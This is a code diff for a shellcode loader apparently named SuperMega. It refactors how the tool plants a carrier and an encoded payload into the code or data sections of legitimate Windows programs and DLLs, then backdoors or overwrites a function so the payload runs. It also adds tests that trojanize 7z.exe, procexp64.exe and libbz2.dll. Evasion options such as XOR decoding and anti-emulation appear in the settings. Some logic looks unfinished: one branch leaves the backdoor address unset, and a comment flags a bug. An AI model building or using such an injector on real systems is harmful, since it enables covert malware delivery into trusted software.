diff --git a/app/views_project.py b/app/views_project.py index 4c286d3..b5ee3e2 100644 --- a/app/views_project.py +++ b/app/views_project.py @@ -189,7 +189,7 @@ def add_project(): settings.decoder_style = "xor_2" settings.carrier_name = "alloc_rw_rx" - settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc settings.payload_location = PayloadLocation.CODE settings.fix_missing_iat = True settings.plugin_antiemulation = "sirallocalot" diff --git a/model/defs.py b/model/defs.py index 7e9ac80..53e5ac8 100644 --- a/model/defs.py +++ b/model/defs.py @@ -1,10 +1,13 @@ from enum import Enum import os + +# FilePath type for better clarity in the code class FilePath(str): pass -# with data/shellcodes/createfile.bin + +# for data/shellcodes/createfile.bin VerifyFilename: FilePath = FilePath("C:\\Temp\\a") # Input Binary @@ -23,19 +26,16 @@ PATH_VIRTUALPROTECT = "data/source/virtualprotect/" PATH_WEB_PROJECT = "projects/" +CODE_INJECT_SIZE_CHECK_ADD = 128 + class PayloadLocation(Enum): CODE = ".text" DATA = ".rdata" class CarrierInvokeStyle(Enum): - ChangeEntryPoint = "change EntryPoint" - BackdoorCallInstr = "backdoor Entrypoint" - - -class FunctionInvokeStyle(Enum): - peb_walk = "peb_walk" - iat_reuse = "iat_reuse" + OverwriteFunc = "Overwrite Function" + BackdoorFunc = "Backdoor Function" class PeRelocEntry(): @@ -60,7 +60,3 @@ class IatEntry(): def __str__(self): return "IatEntry: dll_name: {} func_name: {} iat_vaddr: 0x{:X}".format( self.dll_name, self.func_name, self.iat_vaddr) - - - -CODE_INJECT_SIZE_CHECK_ADD = 128 \ No newline at end of file diff --git a/model/settings.py b/model/settings.py index ffa2957..672fb27 100644 --- a/model/settings.py +++ b/model/settings.py @@ -23,7 +23,7 @@ class Settings(): # Config self.carrier_name: str = "" - self.carrier_invoke_style: CarrierInvokeStyle = CarrierInvokeStyle.BackdoorCallInstr + self.carrier_invoke_style: CarrierInvokeStyle = CarrierInvokeStyle.BackdoorFunc self.decoder_style: str = "xor_2" self.payload_location: PayloadLocation = PayloadLocation.DATA self.short_call_patching: bool = False diff --git a/pe/superpe.py b/pe/superpe.py index 99787c7..937f5d4 100644 --- a/pe/superpe.py +++ b/pe/superpe.py @@ -400,7 +400,7 @@ class SuperPe(): # Add the difference to the section's pointer to raw data physical_address = section.PointerToRawData + virtual_offset return physical_address - raise Exception("Cant translate VA to offset") + raise Exception("Cant translate VA 0x{:X} to offset".format(virtual_address)) def write_pe_to_file(self, outfile: str): diff --git a/phases/injector.py b/phases/injector.py index 1543894..0c34cc0 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -2,7 +2,7 @@ from helper import * import logging import time import logging -from typing import Dict, List +from typing import Dict, List, Tuple from model.injectable import Injectable, DataReuseEntry, DataReuseReference from pe.pehelper import * @@ -44,76 +44,97 @@ class Injector(): self.payload_rva: int = 0 self.carrier_rva: int = 0 - self.init_addresses() - def init_addresses(self): - if self.settings.payload_location == PayloadLocation.CODE: - #. text - # ┌───────────┬─────────────────────────────────────┬───────┐ - # │ ├────────┼────────┼───────────────────┤ │ - # │ │Carrier │ 1 Page │ Payload │ │ - # │ ├────────┼────────┼───────────────────┤ │ - # └───────────┴─────────────────────────────────────┴───────┘ - # - # Payload is page aligned when used with dll_loader_change + # ┌───────────┬─────────────────────────────────────┬───────┐ + # │ ├────────┼────────┼───────────────────┤ │ + # │ │Carrier │ 1 Page │ Payload │ │ + # │ ├────────┼────────┼───────────────────┤ │ + # └───────────┴─────────────────────────────────────┴───────┘ + # + # .text .rdata + # ┌─────────┬─────────┬───────┐ ┌────────┬─────────┬───────┐ + # │ │ │ │ │ │ │ │ + # │ │ carrier │ │ │ │payload │ │ + # │ │ │ │ │ │ │ │ + # └─────────┴─────────┴───────┘ └────────┴─────────┴───────┘ - # carrier location - complete_size = len(self.carrier_shc) + 4096 + len(self.payload.payload_data) - largest_gap = self.code_manager.find_holes(complete_size) - if len(largest_gap) == 0: - raise Exception('No hole found in code section to fit payload!') - largest_gap_size = largest_gap[0][1] - largest_gap[0][0] - offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section - offset += largest_gap[0][0] - self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset + # Backdoor + def get_random_data_payload_rva(self) -> int: + complete_size = len(self.payload.payload_data) + largest_gap = self.rdata_manager.find_holes(complete_size) + if len(largest_gap) == 0: + raise Exception('No hole found in code section to fit payload!') + largest_gap_size = largest_gap[0][1] - largest_gap[0][0] + offset = largest_gap[0][0] - # payload location: behind carrier + 1 page - if self.settings.carrier_name == "dll_loader_change": - self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096 + 4096 - self.payload_rva = self.payload_rva & 0xFFFFF000 # page align - else: - # no page align - self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096 + rdata_section = self.superpe.get_section_by_name(".rdata") + if rdata_section == None: + raise Exception("No .rdata section found in PE file") + self.rdata_manager.add_range(offset, offset+len(self.payload.payload_data)) + + payload_rva = rdata_section.virt_addr + offset + #self.payload_rva = payload_rva + return payload_rva + + + # Backdoor + def get_random_code_carrier_rva(self) -> int: + complete_size = len(self.carrier_shc) + largest_gap = self.code_manager.find_holes(complete_size) + if len(largest_gap) == 0: + raise Exception('No hole found in code section to fit payload!') + largest_gap_size = largest_gap[0][1] - largest_gap[0][0] + offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section + offset += largest_gap[0][0] + carrier_rva = self.superpe.get_code_section().VirtualAddress + offset + return carrier_rva + + + # Backdoor + def get_random_carrier_and_payload_rva_in_code(self) -> Tuple[int, int]: + complete_size = len(self.carrier_shc) + 4096 + len(self.payload.payload_data) + largest_gap = self.code_manager.find_holes(complete_size) + if len(largest_gap) == 0: + raise Exception('No hole found in code section to fit payload!') + largest_gap_size = largest_gap[0][1] - largest_gap[0][0] + offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section + offset += largest_gap[0][0] + carrier_rva = self.superpe.get_code_section().VirtualAddress + offset + + # payload location: behind carrier + 1 page + if self.settings.carrier_name == "dll_loader_change": + payload_rva = carrier_rva + len(self.carrier_shc) + 4096 + 4096 + payload_rva = payload_rva & 0xFFFFF000 # page align else: - # .text .rdata - # ┌─────────┬─────────┬───────┐ ┌────────┬─────────┬───────┐ - # │ │ │ │ │ │ │ │ - # │ │ carrier │ │ │ │payload │ │ - # │ │ │ │ │ │ │ │ - # └─────────┴─────────┴───────┘ └────────┴─────────┴───────┘ + # no page align + payload_rva = carrier_rva + len(self.carrier_shc) + 4096 - # carrier location - complete_size = len(self.carrier_shc) - largest_gap = self.code_manager.find_holes(complete_size) - if len(largest_gap) == 0: - raise Exception('No hole found in code section to fit payload!') - largest_gap_size = largest_gap[0][1] - largest_gap[0][0] - offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section - offset += largest_gap[0][0] - self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset + return payload_rva, carrier_rva + - # payload location - complete_size = len(self.payload.payload_data) - largest_gap = self.rdata_manager.find_holes(complete_size) - if len(largest_gap) == 0: - raise Exception('No hole found in code section to fit payload!') - largest_gap_size = largest_gap[0][1] - largest_gap[0][0] - offset = largest_gap[0][0] + # Overwrite + def get_func_carrier_and_payload_rva_in_code(self) -> Tuple[int, int]: + func_addr = self.superpe.get_entrypoint() - rdata_section = self.superpe.get_section_by_name(".rdata") - if rdata_section == None: - raise Exception("No .rdata section found in PE file") - self.payload_rva = rdata_section.virt_addr + offset - self.rdata_manager.add_range(offset, offset+len(self.payload.payload_data)) + carrier_rva = func_addr + payload_rva = carrier_rva + len(self.carrier_shc) + return payload_rva, carrier_rva + + + # Overwrite + def get_func_code_carrier_rva(self) -> int: + func_addr = self.superpe.get_entrypoint() + carrier_rva = func_addr + return carrier_rva + ## Inject - + def inject_exe(self): exe_in = self.settings.get_inject_exe_in() exe_out = self.settings.get_inject_exe_out() - carrier_invoke_style: CarrierInvokeStyle = self.settings.carrier_invoke_style logger.info("-[ Injecting Carrier into injectable".format()) logger.info(" Injectable: {} -> {}".format(exe_in, exe_out)) @@ -125,58 +146,49 @@ class Injector(): carrier_shc_len = len(self.carrier_shc) carrier_offset: int = 0 # file offset - # Special case: DLL exported function direct overwrite - if self.superpe.is_dll() and self.settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: - logger.info(" Inject DLL: Overwrite exported function {} with shellcode".format(self.settings.dllfunc)) - rva = self.superpe.getExportEntryPoint(self.settings.dllfunc) + if self.settings.carrier_invoke_style == CarrierInvokeStyle.OverwriteFunc: + if self.settings.payload_location == PayloadLocation.CODE: + # Carrier and Payload both in .text section in a function + self.payload_rva, self.carrier_rva = self.get_func_carrier_and_payload_rva_in_code() + elif self.settings.payload_location == PayloadLocation.DATA: + # Carrier in a function, Payload random in data section + self.carrier_rva = self.get_func_code_carrier_rva() ### BUGBUGBUG + self.payload_rva = self.get_random_data_payload_rva() - # Size and sanity checks - function_size = self.superpe.get_size_of_exported_function(self.settings.dllfunc) - if carrier_shc_len >= function_size: - logger.warning(" Oups, Shellcode larger than function {}: {} > {}. Continue anyway.".format( - self.settings.dllfunc, carrier_shc_len, function_size - )) - - # Inject - carrier_offset = self.superpe.get_offset_from_rva(rva) - logger.info(f'- Using DLL Export "{self.settings.dllfunc}" at RVA 0x{rva:X} offset 0x{carrier_offset:X} to overwrite') - self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc) - - else: # EXE/DLL + # copy carrier shellcode into the code section (at func) carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva) - #logger.info("{} {}".format(self.carrier_rva, carrier_offset)) + self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc) logger.info(" Inject: Write Carrier to 0x{:X} (0x{:X})".format( self.carrier_rva, carrier_offset)) - # Copy the carrier + elif self.settings.carrier_invoke_style == CarrierInvokeStyle.BackdoorFunc: + if self.settings.payload_location == PayloadLocation.CODE: + # Carrier and Payload depend on each other (both are in .text) + self.payload_rva, self.carrier_rva = self.get_random_carrier_and_payload_rva_in_code() + elif self.settings.payload_location == PayloadLocation.DATA: + # Carrier and Payload are independent + self.payload_rva = self.get_random_data_payload_rva() + self.carrier_rva = self.get_random_code_carrier_rva() + + # copy carrier shellcode into the code section + carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva) self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc) + logger.info(" Inject: Write Carrier to 0x{:X} (0x{:X})".format( + self.carrier_rva, carrier_offset)) - # rewire flow to the carrier - if self.superpe.is_dll() and self.settings.dllfunc != "": # DLL - if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: - # Handled above - raise Exception("We should not land here") - - elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: - addr = self.superpe.getExportEntryPoint(self.settings.dllfunc) - logger.info(" Backdoor DLL {} (0x{:X})".format( - self.settings.dllfunc, addr)) - self.function_backdoorer.backdoor_function( - addr, self.carrier_rva, carrier_shc_len) - - else: # EXE - if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: - logger.info(" Change Entry Point to 0x{:X}".format( - self.carrier_rva)) - self.superpe.set_entrypoint(self.carrier_rva) - - elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: - addr = self.superpe.get_entrypoint() - logger.info(" Backdoor function at entrypoint (0x{:X})".format( - addr)) - self.function_backdoorer.backdoor_function( - addr, self.carrier_rva, carrier_shc_len) + # backdoor the function (usually main()) + backdoor_func_addr: int = None + if self.settings.dllfunc == "": + backdoor_func_addr = self.superpe.get_entrypoint() + else: + pass + logger.info(" Backdoor function {} (0x{:X})".format( + self.settings.dllfunc, backdoor_func_addr)) + self.function_backdoorer.backdoor_function( + backdoor_func_addr, self.carrier_rva, carrier_shc_len) + + # Make the injected carrier work, integrate it into the PE self.injectable_write_iat_references() self.inject_and_reference_data() diff --git a/supermega.py b/supermega.py index f865f40..1188a52 100644 --- a/supermega.py +++ b/supermega.py @@ -28,6 +28,10 @@ def main(): check_deps() settings = Settings("commandline") + if not os.path.exists(settings.project_path): + logger.info("Creating project directory: {}".format(settings.project_path)) + os.makedirs(settings.project_path) + parser = argparse.ArgumentParser(description='SuperMega shellcode loader') parser.add_argument('--shellcode', type=str, help='payload shellcode: data/binary/shellcodes/* (messagebox.bin, calc64.bin, ...)', default="calc64.bin") parser.add_argument('--inject', type=str, help='which exe to inject into: data/binary/injectables/* (7z.exe, procexp64.exe, ...)', default="procexp64.exe") @@ -37,7 +41,9 @@ def main(): parser.add_argument('--guardrail', type=str, help='guardrails: Enable execution guardrails', default="none") parser.add_argument('--guardrail-key', type=str, help='guardrails: key', default="") parser.add_argument('--guardrail-value', type=str, help='guardrails: value', default="") - parser.add_argument('--carrier_invoke', type=str, help='how carrier is started: \"backdoor\" to rewrite call instruction, \"eop\" for entry point', choices=["eop", "backdoor"], default="backdoor") + parser.add_argument('--carrier_invoke', type=str, help='how carrier is started: \"backdoor\" to rewrite call instruction, \"overwrite\" to overwrite function', choices=["overwrite", "backdoor"], default="backdoor") + parser.add_argument('--dllfunc', type=str, help='The DLL function use for carrier_invoke', default="") + parser.add_argument('--payload_location', type=str, help='where to put the payload: "code" or "data"', choices=[".code", ".rdata"], default=".rdata" ) parser.add_argument('--no-fix-iat', action='store_true', help='Fix missing IAT entries in the infectable executable', default=False) parser.add_argument('--start', action='store_true', help='Start the infected executable at the end for testing') @@ -55,9 +61,8 @@ def main(): else: setup_logging(logging.INFO) - # IN: - # Shellcode: filename - # Inject: filename + # IN: Shellcode: filename + # IN: Inject: filename settings.injectable_base = args.inject settings.payload_base = args.shellcode @@ -66,32 +71,33 @@ def main(): settings.cleanup_files_on_start = not args.no_clean_at_start settings.cleanup_files_on_exit =not args.no_clean_at_exit - # Settings + # Misc settings.fix_missing_iat = not args.no_fix_iat + if args.short_call_patching: + settings.short_call_patching = True + + # Main 1 + settings.decoder_style = args.decoder + settings.carrier_name = args.carrier + settings.plugin_antiemulation = args.antiemulation + + # Main 2 + if args.payload_location == ".code": + settings.payload_location = PayloadLocation.CODE + elif args.payload_location == ".rdata": + settings.payload_location = PayloadLocation.DATA + if args.carrier_invoke == "overwrite": + settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc + elif args.carrier_invoke == "backdoor": + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc + + # Plugins if args.guardrail: settings.plugin_guardrail = args.guardrail settings.plugin_guardrail_data_key = args.guardrail_key settings.plugin_guardrail_data_value = args.guardrail_value - settings.decoder_style = args.decoder - settings.carrier_name = args.carrier - if args.payload_location == ".code": - settings.payload_location = PayloadLocation.CODE - elif args.payload_location == ".rdata": - settings.payload_location = PayloadLocation.DATA - - if args.short_call_patching: - settings.short_call_patching = True - if args.carrier_invoke == "eop": - settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint - elif args.carrier_invoke == "backdoor": - settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr - settings.plugin_antiemulation = args.antiemulation - - if not os.path.exists(settings.project_path): - logger.info("Creating project directory: {}".format(settings.project_path)) - os.makedirs(settings.project_path) - + # Start it exit_code = start(settings) exit(exit_code) diff --git a/tester.py b/tester.py index 8fc2807..6763e8b 100644 --- a/tester.py +++ b/tester.py @@ -32,12 +32,15 @@ def main(): match sys.argv[1]: case "all": test_common() - test_dll_loader() - test_exe_code() + test_exe_data() + test_exe_code() + test_dll_code() test_dll_data() + test_dll_loader() + case "common": test_common() case "dll_loader": @@ -57,22 +60,21 @@ def main(): def test_common(): - print("Testing: COMMON A") + print("Testing: COMMON procexp64.exe, alloc_rw_rwx, PayloadLocation.DATA, BackdoorFunc") settings = Settings("unittest") settings.injectable_base = "procexp64.exe" settings.payload_base = "createfile.bin" + settings.payload_location = PayloadLocation.DATA + settings.carrier_name = "alloc_rw_rwx" # important (not rx) + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc settings.verify = True settings.try_start_final_infected_exe = False - settings.payload_location = PayloadLocation.CODE - settings.cleanup_files_on_exit = False print("Test COMMON 1/6: plain") settings.decoder_style = "plain" - settings.carrier_name = "alloc_rw_rwx" # important (not rx) - settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint if not start(settings): return @@ -86,8 +88,6 @@ def test_common(): if not start(settings): return - print("Testing: COMMON B") - print("Test COMMON 4/6: +guardrail env") settings.plugin_guardrail = "env" settings.plugin_guardrail_data_key = "VCIDEInstallDir" @@ -106,6 +106,162 @@ def test_common(): return +def test_exe_data(): + print("Testing EXE: Payload in .data") + settings = Settings("unittest") + + settings.payload_base = "createfile.bin" + settings.verify = True + settings.try_start_final_infected_exe = False + settings.payload_location = PayloadLocation.DATA + settings.carrier_name = "alloc_rw_rwx" # important (not rx) + + + # EXE: PROCEXP + settings.injectable_base = "procexp64.exe" + + print("Test EXE DATA 1/8: procexp, overwrite-main") + settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc + if not start(settings): + return + + print("Test EXE DATA 2/8: procexp, backdoor-main") + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc + if not start(settings): + return + + + # EXE: 7Z + settings.injectable_base = "7z.exe" + + print("Test EXE DATA 5/8: 7z, overwrite-main") + settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc + if not start(settings): + return + + print("Test EXE DATA 6/4: 7z, backdoor-main") + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc + if not start(settings): + return + + +def test_exe_code(): + print("Testing: EXEs: Payload in .text") + settings = Settings("unittest") + + settings.payload_base = "createfile.bin" + settings.verify = True + settings.try_start_final_infected_exe = False + settings.payload_location = PayloadLocation.CODE + settings.carrier_name = "alloc_rw_rwx" # important (not rx) + + # EXE 7Z + settings.injectable_base = "7z.exe" + + print("Test EXE CODE 1/8: 7z, overwrite-main") + settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc + if not start(settings): + return + + print("Test EXE CODE 2/8: 7z, backdoor-main") + settings.carrier_name = "peb_walk" + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc + if not start(settings): + return + + + # EXE procexp64.exe + + settings.injectable_base = "procexp64.exe" + + print("Test EXE CODE 5/8: procexp, overwrite-main") + settings.carrier_name = "alloc_rw_rwx" + settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc + if not start(settings): + return + + print("Test EXE CODE 6/8: procexp, backdoor-main") + settings.carrier_name = "alloc_rw_rwx" + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc + if not start(settings): + return + + + +def test_dll_code(): + print("Testing: DLLs code") + settings = Settings("unittest") + settings.injectable_base = "libbz2.dll" + settings.payload_base = "createfile.bin" + settings.verify = True + settings.try_start_final_infected_exe = False + settings.payload_location = PayloadLocation.CODE + + print("Test DLL 1/4: libbz2.dll, peb-walk, overwrite-func dllMain (func=None)") + settings.carrier_name = "peb_walk" + settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc + if not start(settings): + return + + print("Test DLL 2/4: libbz2.dll, peb-walk, hijack dllMain (func=None)") + settings.carrier_name = "peb_walk" + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc + if not start(settings): + return + + print("Test DLL 3/4: libbz2.dll, peb-walk, overwrite-func, func=BZ2_bzDecompress") + settings.dllfunc = "BZ2_bzDecompressInit" + settings.carrier_name = "peb_walk" + settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc + if not start(settings): + return + + print("Test DLL 4/4: libbz2.dll, peb-walk, hijack main, func=BZ2_bzdopen") + settings.dllfunc = "BZ2_bzdopen" + settings.carrier_name = "peb_walk" + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc + if not start(settings): + return + + +def test_dll_data(): + print("Testing: DLLs data") + settings = Settings("unittest") + settings.injectable_base = "libbz2.dll" + settings.payload_base = "createfile.bin" + settings.verify = True + settings.try_start_final_infected_exe = False + settings.payload_location = PayloadLocation.DATA + settings.carrier_name = "peb_walk" + ###########settings.fix_missing_iat = True + + # func = "" + + print("Test DLL 1/4: libbz2.dll, overwrite-dllMain") + settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc + if not start(settings): + return + + print("Test DLL 1/4: libbz2.dll, backdoor-dllMain") + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc + if not start(settings): + return + + + # func = "BZ2_bzDecompressInit" + settings.dllfunc = "BZ2_bzDecompressInit" + + print("Test DLL 3/4: libbz2.dll, overwrite=BZ2_bzDecompress") + settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc + if not start(settings): + return + + print("Test DLL 4/4: libbz2.dll, backdoor=BZ2_bzDecompress") + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc + if not start(settings): + return + + def test_dll_loader(): print("Testing: DLL Loader") settings = Settings("unittest") @@ -126,161 +282,7 @@ def test_dll_loader(): settings.carrier_name = "dll_loader_change" if not start(settings): return - - -def test_exe_code(): - print("Testing: EXEs: Inject payload into .text") - settings = Settings("unittest") - settings.injectable_base = "7z.exe" - settings.payload_base = "createfile.bin" - settings.verify = True - settings.try_start_final_infected_exe = False - settings.payload_location = PayloadLocation.CODE - # 7z, peb-walk, change-entrypoint - print("Test EXE 1/4: 7z, peb-walk, change-entrypoint") - settings.carrier_name = "peb_walk" - settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint - if not start(settings): - return - # 7z, peb-walk, hijack - print("Test EXE 2/4: 7z, peb-walk, hijack main") - settings.carrier_name = "peb_walk" - settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr - if not start(settings): - return - - settings.injectable_base = "procexp64.exe" - - # procexp, iat-reuse, change-entrypoint - print("Test EXE 3/4: procexp, iat-reuse, change-entrypoint") - settings.carrier_name = "alloc_rw_rwx" - settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint - if not start(settings): - return - - # procexp, iat-reuse, backdoor - print("Test EXE 4/4: procexp, iat-reuse, backdoor") - settings.carrier_name = "alloc_rw_rwx" - settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr - if not start(settings): - return - - -def test_exe_data(): - print("Testing: EXEs: Inject into .data") - settings = Settings("unittest") - settings.injectable_base = "7z.exe" - settings.payload_base = "createfile.bin" - - settings.verify = True - settings.try_start_final_infected_exe = False - settings.payload_location = PayloadLocation.DATA - - # 7z, peb-walk, change-entrypoint - print("Test EXE 1/4: 7z, peb-walk, change-entrypoint") - settings.carrier_name = "peb_walk" - settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint - if not start(settings): - return - - # 7z, peb-walk, hijack - print("Test EXE 2/4: 7z, peb-walk, hijack main") - settings.carrier_name = "peb_walk" - settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr - if not start(settings): - return - - settings.injectable_base = "procexp64.exe" - - # procexp, iat-reuse, change-entrypoint - print("Test EXE 3/4: procexp, iat-reuse, change-entrypoint") - settings.carrier_name = "alloc_rw_rwx" - settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint - if not start(settings): - return - - # procexp, iat-reuse, backdoor - print("Test EXE 4/4: procexp, iat-reuse, backdoor") - settings.carrier_name = "alloc_rw_rwx" - settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr - if not start(settings): - return - - -def test_dll_code(): - print("Testing: DLLs code") - settings = Settings("unittest") - settings.injectable_base = "libbz2.dll" - settings.payload_base = "createfile.bin" - settings.verify = True - settings.try_start_final_infected_exe = False - settings.payload_location = PayloadLocation.CODE - - print("Test DLL 1/4: libbz2.dll, peb-walk, change-entrypoint dllMain (func=None)") - settings.carrier_name = "peb_walk" - settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint - if not start(settings): - return - - print("Test DLL 2/4: libbz2.dll, peb-walk, hijack dllMain (func=None)") - settings.carrier_name = "peb_walk" - settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr - if not start(settings): - return - - print("Test DLL 3/4: libbz2.dll, peb-walk, change-entrypoint, func=BZ2_bzDecompress") - settings.dllfunc = "BZ2_bzDecompress" - settings.carrier_name = "peb_walk" - settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint - if not start(settings): - return - - print("Test DLL 4/4: libbz2.dll, peb-walk, hijack main, func=BZ2_bzdopen") - settings.dllfunc = "BZ2_bzdopen" - settings.carrier_name = "peb_walk" - settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr - if not start(settings): - return - - -def test_dll_data(): - print("Testing: DLLs data") - settings = Settings("unittest") - settings.injectable_base = "libbz2.dll" - settings.payload_base = "createfile.bin" - - settings.verify = True - settings.try_start_final_infected_exe = False - settings.payload_location = PayloadLocation.DATA - - print("Test DLL 1/4: libbz2.dll, peb-walk, change-entrypoint dllMain (func=None)") - settings.carrier_name = "peb_walk" - settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint - if not start(settings): - return - - print("Test DLL 2/4: libbz2.dll, peb-walk, hijack dllMain (func=None)") - settings.carrier_name = "peb_walk" - settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr - if not start(settings): - return - - print("Test DLL 3/4: libbz2.dll, peb-walk, change-entrypoint, func=BZ2_bzDecompress") - settings.dllfunc = "BZ2_bzDecompress" - settings.carrier_name = "peb_walk" - settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint - if not start(settings): - return - - print("Test DLL 4/4: libbz2.dll, peb-walk, hijack main, func=BZ2_bzdopen") - settings.dllfunc = "BZ2_bzdopen" - settings.carrier_name = "peb_walk" - settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr - if not start(settings): - return - - if __name__ == "__main__": main()